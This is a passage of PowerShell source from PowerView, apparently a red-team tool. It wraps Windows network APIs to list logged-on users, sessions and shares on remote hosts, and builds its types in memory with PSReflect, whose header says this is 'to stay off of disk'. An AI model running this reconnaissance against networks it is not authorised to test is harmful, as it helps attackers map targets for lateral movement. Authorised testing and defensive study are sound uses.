$QueryLevel,[ref]$PtrInfo,-1,[ref]$EntriesRead,[ref]$TotalRead,[ref]$ResumeHandle) 602 | 603 | # Locate the offset of the initial intPtr 604 | $offset = $ptrInfo.ToInt64() 605 | 606 | Write-Debug "Get-NetLoggedon result: $Result" 607 | 608 | # 0 = success 609 | if (($Result -eq 0) -and ($offset -gt 0)) { 610 | 611 | # Work out how mutch to increment the pointer by finding out the size of the structure 612 | $Increment = $WKSTA_USER_INFO_1::GetSize() 613 | 614 | # parse all the result structures 615 | for ($i = 0; ($i -lt $EntriesRead); $i++){ 616 | # create a new int ptr at the given offset and cast 617 | # the pointer as our result structure 618 | $newintptr = New-Object system.Intptr -ArgumentList $offset 619 | $Info = $newintptr -as $WKSTA_USER_INFO_1 620 | # return all the sections of the structure 621 | $Info | Select-Object * 622 | $offset = $newintptr.ToInt64() 623 | $offset += $increment 624 | } 625 | # free up the result buffer 626 | $Netapi32::NetApiBufferFree($PtrInfo) | Out-Null 627 | } 628 | else 629 | { 630 | switch ($Result) { 631 | (5) {Write-Debug 'The user does not have access to the requested information.'} 632 | (124) {Write-Debug 'The value specified for the level parameter is not valid.'} 633 | (87) {Write-Debug 'The specified parameter is not valid.'} 634 | (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} 635 | (8) {Write-Debug 'Insufficient memory is available.'} 636 | (2312) {Write-Debug 'A session does not exist with the computer name.'} 637 | (2351) {Write-Debug 'The computer name is not valid.'} 638 | (2221) {Write-Debug 'Username not found.'} 639 | (53) {Write-Debug 'Hostname could not be found'} 640 | } 641 | } 642 | } 643 | 644 | $Mod = New-InMemoryModule -ModuleName Win32 645 | 646 | # all of the Win32 API functions we need 647 | $FunctionDefinitions = @( 648 | (func netapi32 NetWkstaUserEnum ([Int]) @([string], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), 649 | (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])) 650 | ) 651 | 652 | # the NetWkstaUserEnum result structure 653 | $WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{ 654 | wkui1_username = field 0 String -MarshalAs @('LPWStr') 655 | wkui1_logon_domain = field 1 String -MarshalAs @('LPWStr') 656 | wkui1_oth_domains = field 2 String -MarshalAs @('LPWStr') 657 | wkui1_logon_server = field 3 String -MarshalAs @('LPWStr') 658 | } 659 | 660 | $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' 661 | $Netapi32 = $Types['netapi32'] 662 | -------------------------------------------------------------------------------- /PowerView/functions/Get-NetSessions.ps1: -------------------------------------------------------------------------------- 1 | #requires -version 2 2 | 3 | <# 4 | Implementation of NetSessionEnum that utilizes 5 | https://github.com/mattifestation/psreflect to 6 | stay off of disk. 7 | 8 | by @harmj0y 9 | #> 10 | 11 | 12 | function New-InMemoryModule 13 | { 14 | <# 15 | .SYNOPSIS 16 | 17 | Creates an in-memory assembly and module 18 | 19 | Author: Matthew Graeber (@mattifestation) 20 | License: BSD 3-Clause 21 | Required Dependencies: None 22 | Optional Dependencies: None 23 | 24 | .DESCRIPTION 25 | 26 | When defining custom enums, structs, and unmanaged functions, it is 27 | necessary to associate to an assembly module. This helper function 28 | creates an in-memory module that can be passed to the 'enum', 29 | 'struct', and Add-Win32Type functions. 30 | 31 | .PARAMETER ModuleName 32 | 33 | Specifies the desired name for the in-memory assembly and module. If 34 | ModuleName is not provided, it will default to a GUID. 35 | 36 | .EXAMPLE 37 | 38 | $Module = New-InMemoryModule -ModuleName Win32 39 | #> 40 | 41 | [OutputType([Reflection.Emit.ModuleBuilder])] 42 | Param 43 | ( 44 | [Parameter(Position = 0)] 45 | [ValidateNotNullOrEmpty()] 46 | [String] 47 | $ModuleName = [Guid]::NewGuid().ToString() 48 | ) 49 | 50 | $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) 51 | $Domain = [AppDomain]::CurrentDomain 52 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') 53 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) 54 | 55 | return $ModuleBuilder 56 | } 57 | 58 | 59 | # A helper function used to reduce typing while defining function 60 | # prototypes for Add-Win32Type. 61 | # Author: Matthew Graeber (@mattifestation) 62 | function func 63 | { 64 | Param 65 | ( 66 | [Parameter(Position = 0, Mandatory = $True)] 67 | [String] 68 | $DllName, 69 | 70 | [Parameter(Position = 1, Mandatory = $True)] 71 | [string] 72 | $FunctionName, 73 | 74 | [Parameter(Position = 2, Mandatory = $True)] 75 | [Type] 76 | $ReturnType, 77 | 78 | [Parameter(Position = 3)] 79 | [Type[]] 80 | $ParameterTypes, 81 | 82 | [Parameter(Position = 4)] 83 | [Runtime.InteropServices.CallingConvention] 84 | $NativeCallingConvention, 85 | 86 | [Parameter(Position = 5)] 87 | [Runtime.InteropServices.CharSet] 88 | $Charset, 89 | 90 | [Switch] 91 | $SetLastError 92 | ) 93 | 94 | $Properties = @{ 95 | DllName = $DllName 96 | FunctionName = $FunctionName 97 | ReturnType = $ReturnType 98 | } 99 | 100 | if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } 101 | if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } 102 | if ($Charset) { $Properties['Charset'] = $Charset } 103 | if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } 104 | 105 | New-Object PSObject -Property $Properties 106 | } 107 | 108 | 109 | function Add-Win32Type 110 | { 111 | <# 112 | .SYNOPSIS 113 | 114 | Creates a .NET type for an unmanaged Win32 function. 115 | 116 | Author: Matthew Graeber (@mattifestation) 117 | License: BSD 3-Clause 118 | Required Dependencies: None 119 | Optional Dependencies: func 120 | 121 | .DESCRIPTION 122 | 123 | Add-Win32Type enables you to easily interact with unmanaged (i.e. 124 | Win32 unmanaged) functions in PowerShell. After providing 125 | Add-Win32Type with a function signature, a .NET type is created 126 | using reflection (i.e. csc.exe is never called like with Add-Type). 127 | 128 | The 'func' helper function can be used to reduce typing when defining 129 | multiple function definitions. 130 | 131 | .PARAMETER DllName 132 | 133 | The name of the DLL. 134 | 135 | .PARAMETER FunctionName 136 | 137 | The name of the target function. 138 | 139 | .PARAMETER ReturnType 140 | 141 | The return type of the function. 142 | 143 | .PARAMETER ParameterTypes 144 | 145 | The function parameters. 146 | 147 | .PARAMETER NativeCallingConvention 148 | 149 | Specifies the native calling convention of the function. Defaults to 150 | stdcall. 151 | 152 | .PARAMETER Charset 153 | 154 | If you need to explicitly call an 'A' or 'W' Win32 function, you can 155 | specify the character set. 156 | 157 | .PARAMETER SetLastError 158 | 159 | Indicates whether the callee calls the SetLastError Win32 API 160 | function before returning from the attributed method. 161 | 162 | .PARAMETER Module 163 | 164 | The in-memory module that will host the functions. Use 165 | New-InMemoryModule to define an in-memory module. 166 | 167 | .PARAMETER Namespace 168 | 169 | An optional namespace to prepend to the type. Add-Win32Type defaults 170 | to a namespace consisting only of the name of the DLL. 171 | 172 | .EXAMPLE 173 | 174 | $Mod = New-InMemoryModule -ModuleName Win32 175 | 176 | $FunctionDefinitions = @( 177 | (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), 178 | (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), 179 | (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) 180 | ) 181 | 182 | $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' 183 | $Kernel32 = $Types['kernel32'] 184 | $Ntdll = $Types['ntdll'] 185 | $Ntdll::RtlGetCurrentPeb() 186 | $ntdllbase = $Kernel32::GetModuleHandle('ntdll') 187 | $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') 188 | 189 | .NOTES 190 | 191 | Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 192 | 193 | When defining multiple function prototypes, it is ideal to provide 194 | Add-Win32Type with an array of function signatures. That way, they 195 | are all incorporated into the same in-memory module. 196 | #> 197 | 198 | [OutputType([Hashtable])] 199 | Param( 200 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 201 | [String] 202 | $DllName, 203 | 204 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 205 | [String] 206 | $FunctionName, 207 | 208 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 209 | [Type] 210 | $ReturnType, 211 | 212 | [Parameter(ValueFromPipelineByPropertyName = $True)] 213 | [Type[]] 214 | $ParameterTypes, 215 | 216 | [Parameter(ValueFromPipelineByPropertyName = $True)] 217 | [Runtime.InteropServices.CallingConvention] 218 | $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, 219 | 220 | [Parameter(ValueFromPipelineByPropertyName = $True)] 221 | [Runtime.InteropServices.CharSet] 222 | $Charset = [Runtime.InteropServices.CharSet]::Auto, 223 | 224 | [Parameter(ValueFromPipelineByPropertyName = $True)] 225 | [Switch] 226 | $SetLastError, 227 | 228 | [Parameter(Mandatory = $True)] 229 | [Reflection.Emit.ModuleBuilder] 230 | $Module, 231 | 232 | [ValidateNotNull()] 233 | [String] 234 | $Namespace = '' 235 | ) 236 | 237 | BEGIN 238 | { 239 | $TypeHash = @{} 240 | } 241 | 242 | PROCESS 243 | { 244 | # Define one type for each DLL 245 | if (!$TypeHash.ContainsKey($DllName)) 246 | { 247 | if ($Namespace) 248 | { 249 | $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') 250 | } 251 | else 252 | { 253 | $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') 254 | } 255 | } 256 | 257 | $Method = $TypeHash[$DllName].DefineMethod( 258 | $FunctionName, 259 | 'Public,Static,PinvokeImpl', 260 | $ReturnType, 261 | $ParameterTypes) 262 | 263 | # Make each ByRef parameter an Out parameter 264 | $i = 1 265 | foreach($Parameter in $ParameterTypes) 266 | { 267 | if ($Parameter.IsByRef) 268 | { 269 | [void] $Method.DefineParameter($i, 'Out', $null) 270 | } 271 | 272 | $i++ 273 | } 274 | 275 | $DllImport = [Runtime.InteropServices.DllImportAttribute] 276 | $SetLastErrorField = $DllImport.GetField('SetLastError') 277 | $CallingConventionField = $DllImport.GetField('CallingConvention') 278 | $CharsetField = $DllImport.GetField('CharSet') 279 | if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } 280 | 281 | # Equivalent to C# version of [DllImport(DllName)] 282 | $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) 283 | $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, 284 | $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), 285 | [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField), 286 | [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset))) 287 | 288 | $Method.SetCustomAttribute($DllImportAttribute) 289 | } 290 | 291 | END 292 | { 293 | $ReturnTypes = @{} 294 | 295 | foreach ($Key in $TypeHash.Keys) 296 | { 297 | $Type = $TypeHash[$Key].CreateType() 298 | 299 | $ReturnTypes[$Key] = $Type 300 | } 301 | 302 | return $ReturnTypes 303 | } 304 | } 305 | 306 | 307 | # A helper function used to reduce typing while defining struct 308 | # fields. 309 | # Author: Matthew Graeber (@mattifestation) 310 | function field 311 | { 312 | Param 313 | ( 314 | [Parameter(Position = 0, Mandatory = $True)] 315 | [UInt16] 316 | $Position, 317 | 318 | [Parameter(Position = 1, Mandatory = $True)] 319 | [Type] 320 | $Type, 321 | 322 | [Parameter(Position = 2)] 323 | [UInt16] 324 | $Offset, 325 | 326 | [Object[]] 327 | $MarshalAs 328 | ) 329 | 330 | @{ 331 | Position = $Position 332 | Type = $Type -as [Type] 333 | Offset = $Offset 334 | MarshalAs = $MarshalAs 335 | } 336 | } 337 | 338 | # Author: Matthew Graeber (@mattifestation) 339 | function struct 340 | { 341 | <# 342 | .SYNOPSIS 343 | 344 | Creates an in-memory struct for use in your PowerShell session. 345 | 346 | Author: Matthew Graeber (@mattifestation) 347 | License: BSD 3-Clause 348 | Required Dependencies: None 349 | Optional Dependencies: field 350 | 351 | .DESCRIPTION 352 | 353 | The 'struct' function facilitates the creation of structs entirely in 354 | memory using as close to a "C style" as PowerShell will allow. Struct 355 | fields are specified using a hashtable where each field of the struct 356 | is comprosed of the order in which it should be defined, its .NET 357 | type, and optionally, its offset and special marshaling attributes. 358 | 359 | One of the features of 'struct' is that after your struct is defined, 360 | it will come with a built-in GetSize method as well as an explicit 361 | converter so that you can easily cast an IntPtr to the struct without 362 | relying upon calling SizeOf and/or PtrToStructure in the Marshal 363 | class. 364 | 365 | .PARAMETER Module 366 | 367 | The in-memory module that will host the struct. Use 368 | New-InMemoryModule to define an in-memory module. 369 | 370 | .PARAMETER FullName 371 | 372 | The fully-qualified name of the struct. 373 | 374 | .PARAMETER StructFields 375 | 376 | A hashtable of fields. Use the 'field' helper function to ease 377 | defining each field. 378 | 379 | .PARAMETER PackingSize 380 | 381 | Specifies the memory alignment of fields. 382 | 383 | .PARAMETER ExplicitLayout 384 | 385 | Indicates that an explicit offset for each field will be specified. 386 | 387 | .EXAMPLE 388 | 389 | $Mod = New-InMemoryModule -ModuleName Win32 390 | 391 | $ImageDosSignature = enum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ 392 | DOS_SIGNATURE = 0x5A4D 393 | OS2_SIGNATURE = 0x454E 394 | OS2_SIGNATURE_LE = 0x454C 395 | VXD_SIGNATURE = 0x454C 396 | } 397 | 398 | $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ 399 | e_magic = field 0 $ImageDosSignature 400 | e_cblp = field 1 UInt16 401 | e_cp = field 2 UInt16 402 | e_crlc = field 3 UInt16 403 | e_cparhdr = field 4 UInt16 404 | e_minalloc = field 5 UInt16 405 | e_maxalloc = field 6 UInt16 406 | e_ss = field 7 UInt16 407 | e_sp = field 8 UInt16 408 | e_csum = field 9 UInt16 409 | e_ip = field 10 UInt16 410 | e_cs = field 11 UInt16 411 | e_lfarlc = field 12 UInt16 412 | e_ovno = field 13 UInt16 413 | e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) 414 | e_oemid = field 15 UInt16 415 | e_oeminfo = field 16 UInt16 416 | e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) 417 | e_lfanew = field 18 Int32 418 | } 419 | 420 | # Example of using an explicit layout in order to create a union. 421 | $TestUnion = struct $Mod TestUnion @{ 422 | field1 = field 0 UInt32 0 423 | field2 = field 1 IntPtr 0 424 | } -ExplicitLayout 425 | 426 | .NOTES 427 | 428 | PowerShell purists may disagree with the naming of this function but 429 | again, this was developed in such a way so as to emulate a "C style" 430 | definition as closely as possible. Sorry, I'm not going to name it 431 | New-Struct. :P 432 | #> 433 | 434 | [OutputType([Type])] 435 | Param 436 | ( 437 | [Parameter(Position = 1, Mandatory = $True)] 438 | [Reflection.Emit.ModuleBuilder] 439 | $Module, 440 | 441 | [Parameter(Position = 2, Mandatory = $True)] 442 | [ValidateNotNullOrEmpty()] 443 | [String] 444 | $FullName, 445 | 446 | [Parameter(Position = 3, Mandatory = $True)] 447 | [ValidateNotNullOrEmpty()] 448 | [Hashtable] 449 | $StructFields, 450 | 451 | [Reflection.Emit.PackingSize] 452 | $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, 453 | 454 | [Switch] 455 | $ExplicitLayout 456 | ) 457 | 458 | [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, 459 | Class, 460 | Public, 461 | Sealed, 462 | BeforeFieldInit' 463 | 464 | if ($ExplicitLayout) 465 | { 466 | $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout 467 | } 468 | else 469 | { 470 | $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout 471 | } 472 | 473 | $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) 474 | $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] 475 | $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) 476 | 477 | $Fields = New-Object Hashtable[]($StructFields.Count) 478 | 479 | # Sort each field according to the orders specified 480 | # Unfortunately, PSv2 doesn't have the luxury of the 481 | # hashtable [Ordered] accelerator. 482 | foreach ($Field in $StructFields.Keys) 483 | { 484 | $Index = $StructFields[$Field]['Position'] 485 | $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} 486 | } 487 | 488 | foreach ($Field in $Fields) 489 | { 490 | $FieldName = $Field['FieldName'] 491 | $FieldProp = $Field['Properties'] 492 | 493 | $Offset = $FieldProp['Offset'] 494 | $Type = $FieldProp['Type'] 495 | $MarshalAs = $FieldProp['MarshalAs'] 496 | 497 | $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') 498 | 499 | if ($MarshalAs) 500 | { 501 | $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) 502 | if ($MarshalAs[1]) 503 | { 504 | $Size = $MarshalAs[1] 505 | $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, 506 | $UnmanagedType, $SizeConst, @($Size)) 507 | } 508 | else 509 | { 510 | $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) 511 | } 512 | 513 | $NewField.SetCustomAttribute($AttribBuilder) 514 | } 515 | 516 | if ($ExplicitLayout) { $NewField.SetOffset($Offset) } 517 | } 518 | 519 | # Make the struct aware of its own size. 520 | # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! 521 | $SizeMethod = $StructBuilder.DefineMethod('GetSize', 522 | 'Public, Static', 523 | [Int], 524 | [Type[]] @()) 525 | $ILGenerator = $SizeMethod.GetILGenerator() 526 | # Thanks for the help, Jason Shirk! 527 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) 528 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, 529 | [Type].GetMethod('GetTypeFromHandle')) 530 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, 531 | [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) 532 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) 533 | 534 | # Allow for explicit casting from an IntPtr 535 | # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! 536 | $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', 537 | 'PrivateScope, Public, Static, HideBySig, SpecialName', 538 | $StructBuilder, 539 | [Type[]] @([IntPtr])) 540 | $ILGenerator2 = $ImplicitConverter.GetILGenerator() 541 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) 542 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) 543 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) 544 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, 545 | [Type].GetMethod('GetTypeFromHandle')) 546 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, 547 | [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) 548 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) 549 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) 550 | 551 | $StructBuilder.CreateType() 552 | } 553 | 554 | 555 | function Get-NetSessions { 556 | <# 557 | .SYNOPSIS 558 | Gets active sessions for a specified server. 559 | Heavily adapted from dunedinite's post on stackoverflow (see LINK below) 560 | 561 | .DESCRIPTION 562 | This function will execute the NetSessionEnum Win32API call to query 563 | a given host for active sessions on the host. 564 | 565 | .PARAMETER HostName 566 | The hostname to query for active sessions. 567 | 568 | .PARAMETER UserName 569 | The user name to filter for active sessions. 570 | 571 | .OUTPUTS 572 | SESSION_INFO_10 structure. A representation of the SESSION_INFO_10 573 | result structure which includes the host and username associated 574 | with active sessions. 575 | 576 | .EXAMPLE 577 | > Get-NetSessions 578 | Returns active sessions on the local host. 579 | 580 | .EXAMPLE 581 | > Get-NetSessions -HostName sqlserver 582 | Returns active sessions on the 'sqlserver' host. 583 | 584 | .LINK 585 | http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ 586 | #> 587 | 588 | [CmdletBinding()] 589 | param( 590 | [string] 591 | $HostName = 'localhost', 592 | 593 | [string] 594 | $UserName = '' 595 | ) 596 | 597 | If ($PSBoundParameters['Debug']) { 598 | $DebugPreference = 'Continue' 599 | } 600 | 601 | # arguments for NetSessionEnum 602 | $QueryLevel = 10 603 | $ptrInfo = [IntPtr]::Zero 604 | $EntriesRead = 0 605 | $TotalRead = 0 606 | $ResumeHandle = 0 607 | 608 | # get session information 609 | $Result = $Netapi32::NetSessionEnum($HostName, '', $UserName, $QueryLevel,[ref]$ptrInfo,-1,[ref]$EntriesRead,[ref]$TotalRead,[ref]$ResumeHandle) 610 | 611 | # Locate the offset of the initial intPtr 612 | $offset = $ptrInfo.ToInt64() 613 | 614 | Write-Debug "Get-NetSessions result: $Result" 615 | 616 | # 0 = success 617 | if (($Result -eq 0) -and ($offset -gt 0)) { 618 | 619 | # Work out how mutch to increment the pointer by finding out the size of the structure 620 | $Increment = $SESSION_INFO_10::GetSize() 621 | 622 | # parse all the result structures 623 | for ($i = 0; ($i -lt $EntriesRead); $i++){ 624 | # create a new int ptr at the given offset and cast 625 | # the pointer as our result structure 626 | $newintptr = New-Object system.Intptr -ArgumentList $offset 627 | $Info = $newintptr -as $SESSION_INFO_10 628 | # return all the sections of the structure 629 | $Info | Select-Object * 630 | $offset = $newintptr.ToInt64() 631 | $offset += $increment 632 | } 633 | # free up the result buffer 634 | $Netapi32::NetApiBufferFree($PtrInfo) | Out-Null 635 | } 636 | else 637 | { 638 | switch ($Result) { 639 | (5) {Write-Debug 'The user does not have access to the requested information.'} 640 | (124) {Write-Debug 'The value specified for the level parameter is not valid.'} 641 | (87) {Write-Debug 'The specified parameter is not valid.'} 642 | (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} 643 | (8) {Write-Debug 'Insufficient memory is available.'} 644 | (2312) {Write-Debug 'A session does not exist with the computer name.'} 645 | (2351) {Write-Debug 'The computer name is not valid.'} 646 | (2221) {Write-Debug 'Username not found.'} 647 | (53) {Write-Debug 'Hostname could not be found'} 648 | } 649 | } 650 | } 651 | 652 | 653 | $Mod = New-InMemoryModule -ModuleName Win32 654 | 655 | # all of the Win32 API functions we need 656 | $FunctionDefinitions = @( 657 | (func netapi32 NetSessionEnum ([Int]) @([string], [string], [string], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), 658 | (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])) 659 | ) 660 | 661 | # the NetSessionEnum result structure 662 | $SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{ 663 | sesi10_cname = field 0 String -MarshalAs @('LPWStr') 664 | sesi10_username = field 1 String -MarshalAs @('LPWStr') 665 | sesi10_time = field 2 UInt32 666 | sesi10_idle_time = field 3 UInt32 667 | } 668 | 669 | $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' 670 | $Netapi32 = $Types['netapi32'] 671 | -------------------------------------------------------------------------------- /PowerView/functions/Get-NetShare.ps1: -------------------------------------------------------------------------------- 1 | #requires -version 2 2 | 3 | <# 4 | Implementation of NetShareEnum that utilizes 5 | https://github.com/mattifestation/psreflect to 6 | stay off of disk. 7 | 8 | by @harmj0y 9 | #> 10 | 11 | 12 | function New-InMemoryModule 13 | { 14 | <# 15 | .SYNOPSIS 16 | 17 | Creates an in-memory assembly and module 18 | 19 | Author: Matthew Graeber (@mattifestation) 20 | License: BSD 3-Clause 21 | Required Dependencies: None 22 | Optional Dependencies: None 23 | 24 | .DESCRIPTION 25 | 26 | When defining custom enums, structs, and unmanaged functions, it is 27 | necessary to associate to an assembly module. This helper function 28 | creates an in-memory module that can be passed to the 'enum', 29 | 'struct', and Add-Win32Type functions. 30 | 31 | .PARAMETER ModuleName 32 | 33 | Specifies the desired name for the in-memory assembly and module. If 34 | ModuleName is not provided, it will default to a GUID. 35 | 36 | .EXAMPLE 37 | 38 | $Module = New-InMemoryModule -ModuleName Win32 39 | #> 40 | 41 | [OutputType([Reflection.Emit.ModuleBuilder])] 42 | Param 43 | ( 44 | [Parameter(Position = 0)] 45 | [ValidateNotNullOrEmpty()] 46 | [String] 47 | $ModuleName = [Guid]::NewGuid().ToString() 48 | ) 49 | 50 | $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) 51 | $Domain = [AppDomain]::CurrentDomain 52 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') 53 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) 54 | 55 | return $ModuleBuilder 56 | } 57 | 58 | 59 | # A helper function used to reduce typing while defining function 60 | # prototypes for Add-Win32Type. 61 | # Author: Matthew Graeber (@mattifestation) 62 | function func 63 | { 64 | Param 65 | ( 66 | [Parameter(Position = 0, Mandatory = $True)] 67 | [String] 68 | $DllName, 69 | 70 | [Parameter(Position = 1, Mandatory = $True)] 71 | [string] 72 | $FunctionName, 73 | 74 | [Parameter(Position = 2, Mandatory = $True)] 75 | [Type] 76 | $ReturnType, 77 | 78 | [Parameter(Position = 3)] 79 | [Type[]] 80 | $ParameterTypes, 81 | 82 | [Parameter(Position = 4)] 83 | [Runtime.InteropServices.CallingConvention] 84 | $NativeCallingConvention, 85 | 86 | [Parameter(Position = 5)] 87 | [Runtime.InteropServices.CharSet] 88 | $Charset, 89 | 90 | [Switch] 91 | $SetLastError 92 | ) 93 | 94 | $Properties = @{ 95 | DllName = $DllName 96 | FunctionName = $FunctionName 97 | ReturnType = $ReturnType 98 | } 99 | 100 | if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } 101 | if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } 102 | if ($Charset) { $Properties['Charset'] = $Charset } 103 | if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } 104 | 105 | New-Object PSObject -Property $Properties 106 | } 107 | 108 | 109 | function Add-Win32Type 110 | { 111 | <# 112 | .SYNOPSIS 113 | 114 | Creates a .NET type for an unmanaged Win32 function. 115 | 116 | Author: Matthew Graeber (@mattifestation) 117 | License: BSD 3-Clause 118 | Required Dependencies: None 119 | Optional Dependencies: func 120 | 121 | .DESCRIPTION 122 | 123 | Add-Win32Type enables you to easily interact with unmanaged (i.e. 124 | Win32 unmanaged) functions in PowerShell. After providing 125 | Add-Win32Type with a function signature, a .NET type is created 126 | using reflection (i.e. csc.exe is never called like with Add-Type). 127 | 128 | The 'func' helper function can be used to reduce typing when defining 129 | multiple function definitions. 130 | 131 | .PARAMETER DllName 132 | 133 | The name of the DLL. 134 | 135 | .PARAMETER FunctionName 136 | 137 | The name of the target function. 138 | 139 | .PARAMETER ReturnType 140 | 141 | The return type of the function. 142 | 143 | .PARAMETER ParameterTypes 144 | 145 | The function parameters. 146 | 147 | .PARAMETER NativeCallingConvention 148 | 149 | Specifies the native calling convention of the function. Defaults to 150 | stdcall. 151 | 152 | .PARAMETER Charset 153 | 154 | If you need to explicitly call an 'A' or 'W' Win32 function, you can 155 | specify the character set. 156 | 157 | .PARAMETER SetLastError 158 | 159 | Indicates whether the callee calls the SetLastError Win32 API 160 | function before returning from the attributed method. 161 | 162 | .PARAMETER Module 163 | 164 | The in-memory module that will host the functions. Use 165 | New-InMemoryModule to define an in-memory module. 166 | 167 | .PARAMETER Namespace 168 | 169 | An optional namespace to prepend to the type. Add-Win32Type defaults 170 | to a namespace consisting only of the name of the DLL. 171 | 172 | .EXAMPLE 173 | 174 | $Mod = New-InMemoryModule -ModuleName Win32 175 | 176 | $FunctionDefinitions = @( 177 | (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), 178 | (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), 179 | (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) 180 | ) 181 | 182 | $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' 183 | $Kernel32 = $Types['kernel32'] 184 | $Ntdll = $Types['ntdll'] 185 | $Ntdll::RtlGetCurrentPeb() 186 | $ntdllbase = $Kernel32::GetModuleHandle('ntdll') 187 | $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') 188 | 189 | .NOTES 190 | 191 | Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 192 | 193 | When defining multiple function prototypes, it is ideal to provide 194 | Add-Win32Type with an array of function signatures. That way, they 195 | are all incorporated into the same in-memory module. 196 | #> 197 | 198 | [OutputType([Hashtable])] 199 | Param( 200 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 201 | [String] 202 | $DllName, 203 | 204 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 205 | [String] 206 | $FunctionName, 207 | 208 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 209 | [Type] 210 | $ReturnType, 211 | 212 | [Parameter(ValueFromPipelineByPropertyName = $True)] 213 | [Type[]] 214 | $ParameterTypes, 215 | 216 | [Parameter(ValueFromPipelineByPropertyName = 